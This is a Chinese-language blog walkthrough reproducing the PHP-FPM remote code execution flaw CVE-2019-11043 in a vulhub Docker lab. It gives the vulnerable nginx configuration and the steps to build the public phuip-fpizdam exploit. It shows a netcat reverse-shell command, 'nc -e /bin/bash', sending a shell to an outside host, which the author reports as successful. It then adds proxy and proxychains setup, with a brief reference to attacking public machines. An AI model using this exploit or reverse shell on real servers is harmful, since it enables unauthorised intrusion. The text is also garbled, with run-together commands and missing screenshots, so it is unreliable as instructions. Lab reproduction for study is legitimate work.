PHP远程代码执行漏洞复现（CVE-2019-11043）【反弹shell成功】

漏洞描述

CVE-2019-11043 是一个远程代码执行漏洞，使用某些特定配置的 Nginx + PHP-FPM 的服务器存在漏洞，可允许攻击者远程执行代码。

向Nginx + PHP-FPM的服务器 URL发送 %0a 时，服务器返回异常。

该漏洞需要在nginx.conf中进行特定配置才能触发。具体配置如下：

location ~[^/]\.php(/|$){... fastcgi_split_path_info ^(.+?\.php)(/.*)$; fastcgi_param PATH_INFO $fastcgi_path_info; fastcgi_pass   php:9000;...}

fastcgi_split_path_info

在 Nginx + PHP-FPM 环境下，当启用了上述 Nginx 配置后，以下 PHP 版本受本次漏洞影响，另外，PHP 5.6版本也受此漏洞影响，但目前只能 Crash，不可以远程代码执行：

使用 p 牛的 docker 环境进行复现：

PHP-FPM 远程代码执行漏洞（CVE-2019-11043）

sudo apt-get install docker docker-composesudo apt install golang

git clone https://github.com/vulhub/vulhub.gitcd vulhub/php/CVE-2019-11043&& docker-compose up -d

启动环境之后，就可以看到漏洞环境的默认页面。在此为 http://127.0.0.1:8080/index.php。

git clone https://github.com/neex/phuip-fpizdam.gitcd phuip-fpizdamgo get-v && go build

漏洞利用

p 牛友情提示：您应该注意，只有部分PHP-FPM子进程受到了污染，因此请尝试几次以执行该命令。

反弹 shell:

因为我用的是P牛的环境，里面没有 nc 命令。所以不能用 nc 的反弹 shell。

给此docer容器装一个 nc：

p牛的环境有两个 docker 镜像，一个是nginx，一个是 php:

进入 nginx 的容器：

如图就装好了。

exit

没有成功。

但是继续观察，可能是镜像不对。因为p牛封装的这个环境有两个 docker，刚刚都是在 nginx docker 镜像里面尝试的：

试试在php镜像里面装nc。毕竟、

换镜像装 nc

然后 nc 连接成功：

试下反弹 shell:

nc -e /bin/bash 10.x.x.397777

反弹 shell 成功！

这个环境我下了很久没下下来，我之前一直在国外，对一些换源、换镜像不熟悉。

进去之后获取

然后配置 docker 文件：

注

然后 restart 一下 docker：

sudo systemctl daemon-reloadsudo systemctl restart docker

然后就可以了！

参考链接：

[1] 镜像中心-镜像加速器
[2] 官方镜像加速操作手册

重启 docker 之后，速度仿佛换了个 docker，很爽。

基于 http 协议的：

需要凭据：

export http_proxy="http://用户名:密码@ip:端口号/"export https_proxy="http://用户名:密码@ip:端口号/"

无需凭据：

export http_proxy="http://ip:端口号/"export https_proxy="http://ip:端口号/"

etc/profile

基于 socks5 协议：

proxychains

打公网机器

专注红蓝队攻防。团队已出版《Web安全攻防：渗透测试实战指南》，预计2019年6月出版《内网安全攻防：渗透测试实战指南》，12月出版《CTF竞赛秘笈-入门篇》，目前在编Python渗透测试，JAVA代码审计和APT方面的书籍。

团队公众号定期分享关于CTF靶场、内网渗透、APT方面技术干货，从零开始、以实战落地为主，致力于做一个实用的干货分享型公众号。